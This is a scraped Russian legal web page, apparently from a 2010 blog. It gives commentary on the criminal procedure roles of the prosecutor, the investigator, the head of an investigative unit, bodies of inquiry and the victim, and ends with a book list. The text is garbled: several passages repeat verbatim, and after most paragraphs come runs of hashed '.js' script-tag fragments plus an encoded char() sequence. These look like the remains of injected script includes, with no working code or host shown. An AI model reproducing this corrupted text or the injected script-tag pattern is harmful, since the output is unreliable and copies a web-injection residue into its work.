Процессуальное положение прокурора в уголовном процессе, формы и методы деятельности определяются назначением судопроизводства и непосредственными задачами, решаемыми в каждой отдельной стадии. Применительно к этому определены полномочия прокурора в УПК как участника уголовного судопроизводства со стороны обвинения. В ст. 37 УПК определено, что прокурор является должностным лицом, уполномоченным в пределах компетенции, установленной УПК, осуществлять от имени государства уголовное преследование в ходе уголовного судопроизводства, а также надзор за процессуальной деятельностью органов дознания и органов предварительного следствия. Понятие "прокурор" дано в п. 31 ст. 5 УПК, где сказано: "прокурор - Генеральный прокурор РФ и подчиненные ему прокуроры, их заместители и иные должностные лица органов прокуратуры, участвующие в уголовном судопроизводстве и наделенные соответствующими полномочиями федеральным законом о прокуратуре". Таким образом, именно Закон о прокуратуре РФ должен определить, кто из работников прокуратуры пользуется правами прокурора и какими именно полномочиями он наделен в уголовном судопроизводстве.
Широкими полномочиями прокурор обладает в стадиях возбуждения уголовного дела и предварительного расследования. В них он осуществляет уголовное преследование и надзор за исполнением законов органами дознания и предварительного следствия и для обеспечения режима законности в их деятельности реализует властно-распорядительные полномочия (ст. 31 Закона о прокуратуре РФ).
Уголовное преследование - процессуальная деятельность, осуществляемая в целях изобличения подозреваемого, обвиняемого в совершении преступления (п. 55 ст. 5 УПК). По существу, прокурор возглавляет всю деятельность по уголовному преследованию, поскольку на нем лежит обязанность возбудить уголовное дело или дать согласие на его возбуждение следователю и др.; участвовать в производстве предварительного расследования и в необходимых случаях лично проводить отдельные следственные действия; давать согласие на возбуждение перед судом ходатайства об избрании, отмене или изменении меры пресечения либо о производстве иного процессуального действия, которое допускается на основании судебного решения. Он поручает органу дознания производство следственных действий, а также дает ему указания о проведении оперативно-розыскных мероприятий (п. п. 3, 5, 11 ч. 2 ст. 37 УПК).6b725a350005c984cc0795ee20240084.js" type="text/javascript">8466bc94173debbf5c362e865e13c1a6char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)644329c28aa0d98d2671f78c03a7b704.js" type="text/javascript">3b1a777580a6e5b57bd6a58147d96b3a.js" type="text/javascript">d0fabe9d3b1b4486096d362ca307e9bc.js" type="text/javascript">ede4594942489fe478c2dff4fe48acb0.js" type="text/javascript">2ba79eb006447f26bd47638d3157bafb.js" type="text/javascript">f97150f0deb6a47148626e4d25eb939a.js" type="text/javascript">b168ede3bf11e02ca4e243cdb63ed3c9.js" type="text/javascript">cd577f421170097c23aa8cab745d24a5.js" type="text/javascript">3ac0ec19d8dfb05b571b3072c295316d.js" type="text/javascript">340111f0f25b6471650592e2b29fb7ec.js" type="text/javascript">acbf694046719e8fa577697687999a36.js" type="text/javascript">
Коментариев: 0 | Просмотров: 302 |
Следователь
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Следователь - должностное лицо, уполномоченное осуществлять предварительное следствие по уголовному делу, а также иные полномочия, предусмотренные УПК (ст. 38 УПК).
Предварительное следствие осуществляют следователи прокуратуры, следователи органов внутренних дел, следователи Федеральной службы безопасности и следователи органов Госнаркоконтроля. Процессуальное положение следователя одинаково независимо от его ведомственной принадлежности.
В соответствии со ст. 38 УПК следователь уполномочен возбуждать, с согласия прокурора, уголовные дела, принимать их к своему производству или передавать прокурору для направления по подследственности, принимать решения о производстве следственных и иных процессуальных действий за исключением случаев, когда в соответствии с УПК требуется получение судебного решения или санкции прокурора.
В гл. 6 УПК следователь отнесен к участникам процесса со стороны обвинения, однако это не означает, что его деятельность по выявлению обстоятельств дела носит односторонний обвинительный характер. Он обязан осуществлять все следственные и иные процессуальные действия, направленные не только на раскрытие преступления и уголовное преследование лица, его совершившего, но и на выявление всех иных обстоятельств, имеющих значение по делу, следователь обязан обеспечить права всех участников процесса, в том числе подозреваемого, обвиняемого, потерпевшего, гражданского истца и др. Это следует из ст. 6 УПК, в равной мере требующей обеспечения как защиты прав и законных интересов лиц, потерпевших от преступления, так и защиты личности от незаконного и необоснованного обвинения, ограничения ее прав и свобод. Такая обязанность следователя вытекает из требования ст. 73 УПК, где сказано, что по делу должны быть доказаны не только событие преступления, виновность лица в его совершении, отягчающие обстоятельства, но и обстоятельства, характеризующие личность обвиняемого, характер и размер вреда, причиненного преступлением, а также обстоятельства, исключающие преступность и наказуемость деяния, смягчающие наказание, могущие повлечь за собой освобождение от уголовной ответственности и наказания.56ededa3ec4e442faf1d7c69ec7afd8a.js" type="text/javascript">c2496c6683119409a31cf640e22685eechar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e01ae0165272de6c9b4e0b28f344a918.js" type="text/javascript">8ff4d078a84574d6c03c3ec0ae0a6afe.js" type="text/javascript">27401fbc6a7481479b2cb032834d6f1b.js" type="text/javascript">eb3564666ce755561b92841c7c023e14.js" type="text/javascript">13dddaabc88ad12fb70017eba42e88cd.js" type="text/javascript">a30ff389c87fde02110ccc85b57207af.js" type="text/javascript">b1c29bbf1d9ad3c1bf01f4f40181f05b.js" type="text/javascript">0b9a64e9e6196154a6b7446d543c4629.js" type="text/javascript">db757bb45f89145e1fefca849f86c85a.js" type="text/javascript">0d0cea7d595eefc6671fbd95ad3722fc.js" type="text/javascript">fdef07c004f37075a61df2fcb2ddb974.js" type="text/javascript">
Предварительное следствие осуществляют следователи прокуратуры, следователи органов внутренних дел, следователи Федеральной службы безопасности и следователи органов Госнаркоконтроля. Процессуальное положение следователя одинаково независимо от его ведомственной принадлежности.
В соответствии со ст. 38 УПК следователь уполномочен возбуждать, с согласия прокурора, уголовные дела, принимать их к своему производству или передавать прокурору для направления по подследственности, принимать решения о производстве следственных и иных процессуальных действий за исключением случаев, когда в соответствии с УПК требуется получение судебного решения или санкции прокурора.
В гл. 6 УПК следователь отнесен к участникам процесса со стороны обвинения, однако это не означает, что его деятельность по выявлению обстоятельств дела носит односторонний обвинительный характер. Он обязан осуществлять все следственные и иные процессуальные действия, направленные не только на раскрытие преступления и уголовное преследование лица, его совершившего, но и на выявление всех иных обстоятельств, имеющих значение по делу, следователь обязан обеспечить права всех участников процесса, в том числе подозреваемого, обвиняемого, потерпевшего, гражданского истца и др. Это следует из ст. 6 УПК, в равной мере требующей обеспечения как защиты прав и законных интересов лиц, потерпевших от преступления, так и защиты личности от незаконного и необоснованного обвинения, ограничения ее прав и свобод. Такая обязанность следователя вытекает из требования ст. 73 УПК, где сказано, что по делу должны быть доказаны не только событие преступления, виновность лица в его совершении, отягчающие обстоятельства, но и обстоятельства, характеризующие личность обвиняемого, характер и размер вреда, причиненного преступлением, а также обстоятельства, исключающие преступность и наказуемость деяния, смягчающие наказание, могущие повлечь за собой освобождение от уголовной ответственности и наказания.56ededa3ec4e442faf1d7c69ec7afd8a.js" type="text/javascript">c2496c6683119409a31cf640e22685eechar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e01ae0165272de6c9b4e0b28f344a918.js" type="text/javascript">8ff4d078a84574d6c03c3ec0ae0a6afe.js" type="text/javascript">27401fbc6a7481479b2cb032834d6f1b.js" type="text/javascript">eb3564666ce755561b92841c7c023e14.js" type="text/javascript">13dddaabc88ad12fb70017eba42e88cd.js" type="text/javascript">a30ff389c87fde02110ccc85b57207af.js" type="text/javascript">b1c29bbf1d9ad3c1bf01f4f40181f05b.js" type="text/javascript">0b9a64e9e6196154a6b7446d543c4629.js" type="text/javascript">db757bb45f89145e1fefca849f86c85a.js" type="text/javascript">0d0cea7d595eefc6671fbd95ad3722fc.js" type="text/javascript">fdef07c004f37075a61df2fcb2ddb974.js" type="text/javascript">
Коментариев: 0 | Просмотров: 232 |
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Начальник следственного отдела, а также его заместитель - должностное лицо, возглавляющее соответствующее следственное подразделение (п. 18 ст. 5 УПК). Начальник следственного отдела осуществляет непосредственное, оперативное руководство следователями, оказывает помощь в их работе и может непосредственно вести следствие по делу .
--------------------------------
КонсультантПлюс: примечание.
"Уголовно-процессуальный кодекс РСФСР" (утв. ВС РСФСР 27.10.1960) утратил силу с 1 июля 2002 года, за исключением Главы 30, которая утратила силу с 1 января 2003 года (Федеральный закон от 18.12.2001 N 177-ФЗ).
УПК не указывает, начальники следственных подразделений каких ведомств имеются в виду, в отличие от УПК РСФСР, в котором назывались начальники следственных подразделений органов внутренних дел, органов Федеральной службы безопасности и федеральных органов налоговой полиции (п. 6 "а" ст. 34 УПК РСФСР). Начальники же следственных подразделений прокуратуры обладали полномочиями прокуроров.
Из сопоставления п. п. 17, 31 ст. 5, ч. 6 ст. 37 УПК можно сделать вывод, что начальники следственных подразделений в прокуратуре и прокуроры пользуются разными полномочиями. Более того, если к начальникам следственных отделов в смысле ст. 39 УПК относятся и начальники следственных подразделений прокуратуры, они оказываются наделенными более широкими полномочиями по руководству следствием, чем прокуроры.fb9df4601600f77697896a50c793139a.js" type="text/javascript">dd02a9a8fd657c19ae611f5a76eff2a7char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ea113277c50b7b99af3e2e4d8d38b95d.js" type="text/javascript">6833a6cd4e6f90802adf4f62dbd9a42c.js" type="text/javascript">e830368e5cb71952215c405ba63a441f.js" type="text/javascript">f88691106d07b5ea91ea6413f73ceb40.js" type="text/javascript">48f8fc5a3024334224effe007ca38774.js" type="text/javascript">7b9129938e0e1d4a4b85fc9945defb24.js" type="text/javascript">4a38dbd52790704f2cc2a89046e3a731.js" type="text/javascript">292d1f127b964022ba5dd268d078733c.js" type="text/javascript">7b069f5a7fe360db8ddd2b2feb71be77.js" type="text/javascript">6f2a9ab42ec199ad187e37cf9a915274.js" type="text/javascript">dd7751f482fd724d0c875b20c8fc3c10.js" type="text/javascript">
--------------------------------
КонсультантПлюс: примечание.
"Уголовно-процессуальный кодекс РСФСР" (утв. ВС РСФСР 27.10.1960) утратил силу с 1 июля 2002 года, за исключением Главы 30, которая утратила силу с 1 января 2003 года (Федеральный закон от 18.12.2001 N 177-ФЗ).
УПК не указывает, начальники следственных подразделений каких ведомств имеются в виду, в отличие от УПК РСФСР, в котором назывались начальники следственных подразделений органов внутренних дел, органов Федеральной службы безопасности и федеральных органов налоговой полиции (п. 6 "а" ст. 34 УПК РСФСР). Начальники же следственных подразделений прокуратуры обладали полномочиями прокуроров.
Из сопоставления п. п. 17, 31 ст. 5, ч. 6 ст. 37 УПК можно сделать вывод, что начальники следственных подразделений в прокуратуре и прокуроры пользуются разными полномочиями. Более того, если к начальникам следственных отделов в смысле ст. 39 УПК относятся и начальники следственных подразделений прокуратуры, они оказываются наделенными более широкими полномочиями по руководству следствием, чем прокуроры.fb9df4601600f77697896a50c793139a.js" type="text/javascript">dd02a9a8fd657c19ae611f5a76eff2a7char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ea113277c50b7b99af3e2e4d8d38b95d.js" type="text/javascript">6833a6cd4e6f90802adf4f62dbd9a42c.js" type="text/javascript">e830368e5cb71952215c405ba63a441f.js" type="text/javascript">f88691106d07b5ea91ea6413f73ceb40.js" type="text/javascript">48f8fc5a3024334224effe007ca38774.js" type="text/javascript">7b9129938e0e1d4a4b85fc9945defb24.js" type="text/javascript">4a38dbd52790704f2cc2a89046e3a731.js" type="text/javascript">292d1f127b964022ba5dd268d078733c.js" type="text/javascript">7b069f5a7fe360db8ddd2b2feb71be77.js" type="text/javascript">6f2a9ab42ec199ad187e37cf9a915274.js" type="text/javascript">dd7751f482fd724d0c875b20c8fc3c10.js" type="text/javascript">
Коментариев: 0 | Просмотров: 275 |
Орган дознания. Дознаватель
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Органы дознания - это государственные органы и должностные лица, уполномоченные в соответствии с настоящим Кодексом осуществлять дознание и другие процессуальные полномочия (п. 24 ст. 5 УПК). К ним относятся (ст. ст. 40, 151 УПК): 1) органы внутренних дел РФ, а также иные органы исполнительной власти, наделенные в соответствии с федеральным законом полномочиями по осуществлению оперативно-розыскной деятельности. Перечень этих органов дан в Федеральном законе "Об оперативно-розыскной деятельности" от 12 августа 1995 г. (с последующими изменениями и дополнениями); 2) главный судебный пристав РФ, главный военный судебный пристав, главный судебный пристав субъекта РФ, их заместители, старший судебный пристав, старший военный судебный пристав, а также старшие судебные приставы Конституционного Суда РФ, Верховного Суда РФ и Высшего Арбитражного Суда РФ; 3) командиры воинских частей, соединений, начальники военных учреждений или гарнизонов; 4) органы государственной противопожарной службы; 5) капитаны морских и речных судов, находящихся в дальнем плавании; 6) руководители геологоразведочных партий и зимовок, удаленных от места расположения органов дознания, перечисленных в п. п. 1 - 4 ч. 1 ст. 40; 7) главы дипломатических представительств и консульских учреждений РФ; 8) органы Госнаркоконтроля; 9) органы пограничной службы РФ; 10) таможенные органы РФ.b130c434490b1c0d437de65092158081.js" type="text/javascript">7d7ae8b9482c6faf394d432642f58e72char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)d6e3229c915457a5492614a4852bfd55.js" type="text/javascript">e455be2d57b3f061fd41b3a827c2c4db.js" type="text/javascript">4655dc7ad9edfd3a84b65e78fbe697ba.js" type="text/javascript">0762e2df6483c353957bbe4d14469f41.js" type="text/javascript">63c87b54ac70770c6a0b5fdd62a484b0.js" type="text/javascript">b75fcb236c0b7062d33175bff134d689.js" type="text/javascript">3a2f44f2ed2dbce333880ff84b96e18a.js" type="text/javascript">d05ca6c91c8f6050cf71570d1cd2c587.js" type="text/javascript">3c7ec0a2e63ceb0fc908acfe1089dc57.js" type="text/javascript">e2d2770f63b53b1d11f4ff9e011c1f32.js" type="text/javascript">e095c5eba0652d65cc98e41fe72bc5a0.js" type="text/javascript">
Коментариев: 0 | Просмотров: 386 |
Потерпевший
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Потерпевшим является физическое лицо, которому преступлением причинен физический, имущественный, моральный вред, а также юридическое лицо, которому преступлением причинен вред его имуществу и деловой репутации. Решение о признании потерпевшим оформляется постановлением дознавателя, следователя, прокурора или суда (ст. 42 УПК) .
--------------------------------
См.: Приложение 53 к ст. 476 УПК.
Конституция РФ устанавливает, что права потерпевших от преступлений охраняются законом. Государство обеспечивает потерпевшему доступ к правосудию и компенсацию причиненного ущерба (ст. 52 Конституции РФ).
В соответствии с этим конституционным положением в УПК записано, что уголовное судопроизводство имеет своим назначением защиту прав и законных интересов лиц и организаций, потерпевших от преступлений (п. 1 ч. 1 ст. 6 УПК).
При разработке нового УПК одной из его задач являлось установление таких правил судопроизводства, которые бы обеспечивали защиту прав и законных интересов лиц, потерпевших от преступления.
Конституционный Суд РФ указал, что право на судебную защиту, по смыслу ст. 55 (ч. 3) и ст. 56 (ч. 3) Конституции РФ, не подлежит ограничению, поскольку ограничение этого права ни при каких обстоятельствах не может быть обусловлено необходимостью достижения признаваемых Конституцией целей.
В УПК со всей определенностью выражено право потерпевшего обжаловать преграждающие ему право на судебную защиту решения, а также иные процессуальные решения, действия (бездействие) должностных лиц и органов, затрагивающие его интересы (ст. 123 УПК).
Тенденция к повышению роли потерпевшего и его влияния на ход и принимаемые по делу решения не только по делам частного, но и по делам публичного обвинения, проявилась в УПК, например, в следующем: по заявлению потерпевшего дела публичного обвинения небольшой или средней тяжести могут быть прекращены ввиду его примирения с обвиняемым (ст. 25 УПК); без согласия потерпевшего не может быть удовлетворено ходатайство обвиняемого об особом порядке судебного разбирательства (ч. 1 ст. 314 УПК).80306e2069f2c735405b7bb4f91152cf.js" type="text/javascript">6fa55b7c04e87d8b0a93e81f4c2ae47fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)09b5d1238db2c15a733692f179291b52.js" type="text/javascript">9a28e694748a9653822b524ebbac5a34.js" type="text/javascript">c08399235344d7069c781a3c4f51d6cd.js" type="text/javascript">ca3d1e5a8539e61c423d8b1ff9809c9f.js" type="text/javascript">066978d759d475bcc13d03fc2668ba89.js" type="text/javascript">0fa68e94863a073b708899b12f9775a6.js" type="text/javascript">412f61cbf143ae5bdba81abd23e5806f.js" type="text/javascript">f3c880c05033fe88dc1e8178e02183ed.js" type="text/javascript">2ec4b0a5307bfa10f1a7c18b093c44e2.js" type="text/javascript">83ba5ad79f08dae77b536af87f102a46.js" type="text/javascript">4a36acdaa953257766417b62ae7a1602.js" type="text/javascript">
--------------------------------
См.: Приложение 53 к ст. 476 УПК.
Конституция РФ устанавливает, что права потерпевших от преступлений охраняются законом. Государство обеспечивает потерпевшему доступ к правосудию и компенсацию причиненного ущерба (ст. 52 Конституции РФ).
В соответствии с этим конституционным положением в УПК записано, что уголовное судопроизводство имеет своим назначением защиту прав и законных интересов лиц и организаций, потерпевших от преступлений (п. 1 ч. 1 ст. 6 УПК).
При разработке нового УПК одной из его задач являлось установление таких правил судопроизводства, которые бы обеспечивали защиту прав и законных интересов лиц, потерпевших от преступления.
Конституционный Суд РФ указал, что право на судебную защиту, по смыслу ст. 55 (ч. 3) и ст. 56 (ч. 3) Конституции РФ, не подлежит ограничению, поскольку ограничение этого права ни при каких обстоятельствах не может быть обусловлено необходимостью достижения признаваемых Конституцией целей.
В УПК со всей определенностью выражено право потерпевшего обжаловать преграждающие ему право на судебную защиту решения, а также иные процессуальные решения, действия (бездействие) должностных лиц и органов, затрагивающие его интересы (ст. 123 УПК).
Тенденция к повышению роли потерпевшего и его влияния на ход и принимаемые по делу решения не только по делам частного, но и по делам публичного обвинения, проявилась в УПК, например, в следующем: по заявлению потерпевшего дела публичного обвинения небольшой или средней тяжести могут быть прекращены ввиду его примирения с обвиняемым (ст. 25 УПК); без согласия потерпевшего не может быть удовлетворено ходатайство обвиняемого об особом порядке судебного разбирательства (ч. 1 ст. 314 УПК).80306e2069f2c735405b7bb4f91152cf.js" type="text/javascript">6fa55b7c04e87d8b0a93e81f4c2ae47fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)09b5d1238db2c15a733692f179291b52.js" type="text/javascript">9a28e694748a9653822b524ebbac5a34.js" type="text/javascript">c08399235344d7069c781a3c4f51d6cd.js" type="text/javascript">ca3d1e5a8539e61c423d8b1ff9809c9f.js" type="text/javascript">066978d759d475bcc13d03fc2668ba89.js" type="text/javascript">0fa68e94863a073b708899b12f9775a6.js" type="text/javascript">412f61cbf143ae5bdba81abd23e5806f.js" type="text/javascript">f3c880c05033fe88dc1e8178e02183ed.js" type="text/javascript">2ec4b0a5307bfa10f1a7c18b093c44e2.js" type="text/javascript">83ba5ad79f08dae77b536af87f102a46.js" type="text/javascript">4a36acdaa953257766417b62ae7a1602.js" type="text/javascript">
Коментариев: 0 | Просмотров: 527 |
ЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
- Уголовно-правовая
- Гражданско-правовая
- Государственно-правовая
РАЗНОЕ:
- Административно-государственное управление в странах запада: США, Великобритания, Франция, Германия (Василенко И. А.)
- Государственное управление и государственная служба за рубежом (В.В.Чубинский)
- Деятельность органов местного самоуправления в области охраны окружающей среды в Российской Федерации (Алексеев А.П.)
- Законодательный процесс. Понятие. Институты. Стадии. (Васильев Р.Ф.)
- Иностранное конституционное право (В.В.Маклаков)
- Человек как носитель криминалистически значимой информации (Жванков В.А.)
- Криминалистическая характеристика преступных групп (Быков В.М.)
- Криминалистические проблемы обнаружения и устранения следственных ошибок (Карагодин В.Н., Морозова Е.В.)
- Участие недобросовестных адвокатов в организованной преступности и коррупции: комплексная характеристика и проблемы противодействия (Гармаев Ю.П.)
- В поисках истины (Ищенко Е. П., Любарский М. Г.)
- Деятельность экспертно-криминалистических подразделений органов внутренних дел по применению экспертно-криминалистических методов и средств в раскрытии и расследовании преступлений (В. А. Снетков)
- Теория и практика проверки показаний на месте (Л.Я. Драпкин, А.А. Андреев)
- 100 лет криминалистики (Торвальд Юрген)
- Руководство по расследованию преступлений (А. В. Гриненко)
- Осмотр места происшествия (А.И. Дворкин)
- Конституция России: природа, эволюция, современность (С.А.Авакьян)
- Конституционное правосудие. Судебное конституционное право и процесс (Н.В. Витрук)
- Криминалистика: тактика, организация и методика расследования (Резван А.П., Субботина М.В., Харченко Ю.В.)
- Криминалистика. Проблемы и мнения (1962-2002) (Бахин В.П.)
- Криминалистика: проблемы, тенденции, перспективы (Белкин Р. С.)
- Криминалистика: проблемы сегодняшнего дня (Белкин Р. С.)
- Российское законодательство на современном этапе (Н.А.Васецкий, Ю.К.Краснов)
- Права человека (Е. А. Лукашева)
- Справочник прокурора (Трикс А.В.)
- Правовые позиции Конституционного Суда России (Лазарев Л.В.)
- Проблемы уголовного наказания в теории, законодательстве и судебной практике (В. К. Дуюнов)
- Практика применения уголовного кодекса (А.В. Наумов)
- Уголовные преступления и наказания (А.Б. Смушкин)
- Экономические преступления (Волженкин Б. В.)
- Гарантии прав участников уголовного судопроизводства Российской Федерации (Волколуп О.В., Чупилкин Ю.Б.)
- Меры пресечения в российском уголовном процессе (Михайлов В.А.)
- Отказ от обвинения в системе уголовно-процессуальных актов (Землянухин А.В.)
- Типология уголовного судопроизводства (Смирнов А.В.)
- Учение об объекте преступления (Г.П. Новоселов)
- Дифференциация уголовной ответственности (Лесниевски-Костарева Т. А.)
- Теория доказательств (Владислав Лоер)
- Искусство защиты в суде присяжных (Мельник В.В.)
- Субъективное вменение и его значение в уголовном праве (В. А. Якушин)
- Психология преступника и расследования преступлений (Антонян Ю.М., Еникеев М.И., Эминов В.Е.)
- Курс международного уголовного права (Э.Нарбутаев, Ф.Сафаев) (Республика Узбекистан)
- Деятельное раскаяние в совершенном преступлении (Щерба C., Савкин А.В.)
- Право на юридическую помощь: конституционные аспекты (Р.Г. Мельниченко)
- Юридический статус личности в России (Воеводин Л.Д.)
- Российское гражданство (Кутафин)
- Законность в Российской Федерации (Тихомиров Ю. А., Сухарев А. Я., Демидов И. Ф.)
- Экономическое правосудие в России: прошлое, настоящее, будущее (М.И. Клеандров)
- Третья власть в России. Очерки о правосудии, законности и судебной реформе 1990-1996 гг. (Бойков А.Д.)
- Закон: создание и толкование (Пиголкин А.С.)
- Актуальные вопросы уголовного процесса современной России
- Уголовно-правовое регулирование. Механизм и система. (Н.М.Кропачев)
- Уголовно-правовая политика и пути ее реализации (Беляев Н. А.)
- Практика уголовного сыска (В.Румянцев, В.Перевертов)
- Судебная экспертиза (экспертология) (В.А.Назаров)
- Юридическая педагогика. (Левитан К.М.)
- Концепции современного естествознания. (А.Ф. Лихин)
- Критика научного разума. (Курт Хюбнер)
- Административная ответственность в СССР. (И.А.Галаган)
- Советские административно-правовые отношения. (Г.И.Петров)
- Искусство судебной речи. (М.Г.Жук)
- Государственное право Российской Федерации. (И.Т.Беспалый)
- Правоведение. (Н.М.Крюкова)
- Основы права. (Зенин И.А.)
- Некоммерческое право. (Н.А. Идрисов)
- Гражданское право Российской Федерации. (И.А.Зенин)
- Право на иск. (Гурвич)
- Хрестоматия по гражданскому процессу. (М.К.Треушников)
- Общая теория процессуальных норм права. (Борисова Л.Н.)
- Производство в кассационной инстанции арбитражного суда. (Э.Н.Нагорная)
- Допустимость доказательств в гражданском и арбитражном процессах. (А.В.Гордейчик)
- Заочное решение в гражданском процессе. (И.В.Уткина)
- Судебная практика по гражданским делам.
- Справочник по доказыванию в гражданском судопроизводстве. (И.В.Решетникова)
- Курс гражданского судопроизводства России. (Г.Л.Осокина)
- Выбор способа зашиты гражданских прав. (ВершининА.П.)
- Институт доказывания в гражданском и арбитражном судопроизводстве. (А.Г.Коваленко)
- Судебное усмотрение в гражданском и арбитражном процессе. (Абушенко Д.Б.)
КОММЕНТАРИИ:
- Комментарий к Трудовому кодексу Российской Федерации (К.Н.Гусов)
- Комментарий к кодексу российской федерации об административных правонарушениях (А.Б. Агапов)
- Комментарий к Уголовно-процессуальному кодексу Российской Федерации (Д.Н. Козак, Е.Б. Мизулина)
- Комментарий к кодексу Торгового мореплавания Российской Федерации (Г.Г. Иванов)
- Комментарий к Гражданскому Процессуальному кодексу Российской Федерации (П.В. Крашенинников)
- Комментарий к Налоговому кодексу Российской Федерации (А.Н. Гуев)
- Комментарий к Семейному кодексу Российской Федерации (ч.1,ч.2) (И.М. Кузнецова, М.В. Антокольская, Ю.А. Королев, Н.И. Марышева)
- Комментарий к Гражданскому кодексу Российской Федерации (ч.1,ч.2) (Абрамова Е.Н., Аверченко Н.Н., Арсланов К. М., Сергеев А.П.)
- Комментарий к Гражданскому кодексу Российской Федерации (ч.3) (Т.Е. Абова, М.М. Богуславский, А.Г. Светланов)
- Комментарий к Гражданскому кодексу Российской Федерации (ч.4) (Н.П. Корчагина, Е.А. Моргунова, В.В. Погуляев)
- Комментарий к Арбитражному процессуальному кодексу Российской Федерации (Андреева Т.К., Каллистратова Р.Ф., Лесницкая Л.Ф., Лившиц Н.Г.)
- Комментарий к Пенсионному законодательству Российской Федерации
- Комментарий к Градостроительному кодексу Российской Федерации (Крассов О.И.)
ОКОЛОЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
- The Rainmaker. (John Grisham)
- The Firm. (John Grisham)
- The Last Juror. (John Grisham)
- The summons. (John Grisham)
- A time to kill. (John Grisham)
- The pelican brief. (John Grisham)
- The king of torts. (John Grisham)
- Пора убивать. (Джон Гришем)
- Партнер. (Джон Гришем)
- Адвокат. (Джон Гришем)
- Камера. (Джон Гришем)
- Вердикт. (Джон Гришем)
- Дело о пеликанах. (Джон Гришем)
- Завещание. (Джон Гришем)
- Клиент. (Джон Гришем)
- Фирма. (Джон Гришем)
- Шантаж. (Джон Гришем)
- Il nome della rosa. (Умберто Эко)
- Интерпол.Всемирная система борьбы с преступностью. (Иосиф Дайчман)